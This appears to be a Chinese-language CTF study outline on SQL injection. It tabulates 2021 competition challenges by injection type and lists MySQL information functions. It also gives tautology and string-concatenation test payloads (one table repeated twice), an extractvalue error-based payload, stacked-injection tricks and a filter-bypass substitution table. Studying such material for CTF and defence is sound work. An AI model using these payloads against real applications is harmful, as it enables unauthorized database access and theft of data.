SQL注入

小交流会的提纲,记录下,没有逻辑可言

今年本人参加的CTF中记录的sql题目,由于可能有多种解,这里列出本人解法仅供参考

比赛-题目名称 注入类型 详细情况
MTCTF-sql 盲注 布尔型,同表查询
国赛CISCN-easy_sql 盲注,报错 sqlmap一把梭,布尔型/延时注入/报错注入,最后无列名注入
红帽杯-WebsiteManger 盲注 布尔型(异或)/延时注入
红明谷-happysql 盲注 布尔型(正则),无列名注入
DASCTF三月赛-bestDB 联合注入 load_file()
V&NCTF-realezjvav 盲注 延时注入(笛卡尔积)
HGAME-200OK! 联合注入 基础SQL注入
HGAME-Liki-Jail 盲注 延时注入
春秋杯新春欢乐赛-按F注入 联合注入 Pgsql,延时注入(也许)/信息外带/数据库外联

打个广告,各比赛的WP,有需要的师傅可以看看

春秋杯2021新春欢乐赛一道题——按F注入 对pgsql的研究

V&N2021公开赛

SQL无列名注入

红帽杯2021

2021CISCN-WP

统计了一下今年的SQL注入题目,可能不全,从上表能看出大部分都是盲注,盲注的重要性可想而知。


常用函数

  1. version()——MySQL版本
  2. user()——用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

最常用的一般是database(),有时候注意看user(),有些题目给的是root用户,需要用load_file()读文件,下面开始注入准备


测试注入

测试字符串 变 种 预 期 结 果
触发错误。如果成功,数据库将返回一个错误
1’ or ‘1’=’1 1’) or (‘1’=’1 永真条件。如果成功,将返回表中所有的行
value’ or ‘1’=’2 value’) or (‘1’=’2 空条件。如果成功,将返回与原来的值相同的结果
1’ and ‘1’=’2 1’) and (‘1’=’2 永假条件。如果成功,将不返回表中任何行
1’ or ‘ab’=’a’+’b 1’) or (‘ab’=’a’+’b SQL Server字符串连接。如果成功,将返回与永真条件相同的信息
1’ or ‘ab’=’a’ ‘b 1’) or (‘ab’=’a’ ‘b MySQL字符串连接。如果成功,将返回与永真条件相同的信息
1’ or ‘ab’=’a’‖’b 1’) or (‘ab’=’a’‖’b Oracle字符串连接。如果成功,将返回与永真条件相同的信息

盲注

盲注,就是指执行sql语句后返回值不直接回显到前端页面


过滤情况

过滤select

比较劲爆,如果有回显可以报错注入查出简单信息

1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#

user()/database()/version()

  • 但这不行,可以利用堆叠注入绕过过滤
-1';show tables#

然后利用预编译方式查数据

经典题目:2019强网杯-随便注

  • 或者alter改表名,然后万能密码登陆出结果(如果可回显的话)

  • 据说web端过滤也许可以preg_match回溯限制(有的情况)

  • 同表的话可以同表查询

    盲注字段名利用left(column,0)

    当存在字段时返回True

基本过滤

过滤 替代方法
and &
or |
[空格] /**/或()或%0a
# –+
substr() mid()、substring()
ascii() hex()、bin()、ord()
sleep() benchmark()
group_concat() concat_ws()
<、> greatest()
limit n,m limit m offset n
测试字符串 变 种 预 期 结 果
触发错误。如果成功,数据库将返回一个错误
1’ or ‘1’=’1 1’) or (‘1’=’1 永真条件。如果成功,将返回表中所有的行
value’ or ‘1’=’2 value’) or (‘1’=’2 空条件。如果成功,将返回与原来的值相同的结果
1’ and ‘1’=’2 1’) and (‘1’=’2 永假条件。如果成功,将不返回表中任何行
1’ or ‘ab’=’a’+’b 1’) or (‘ab’=’a’+’b SQL Server字符串连接。如果成功,将返回与永真条件相同的信息
1’ or ‘ab’=’a’ ‘b 1’) or (‘ab’=’a’ ‘b MySQL字符串连接。如果成功,将返回与永真条件相同的信息
1’ or ‘ab’=’a’‖’b 1’) or (‘ab’=’a’‖’b Oracle字符串连接。如果成功,将返回与永真条件相同的信息

移位溢注

知道表名不需要知道字段名,一般没用,能用的时候都能用其他的注出来。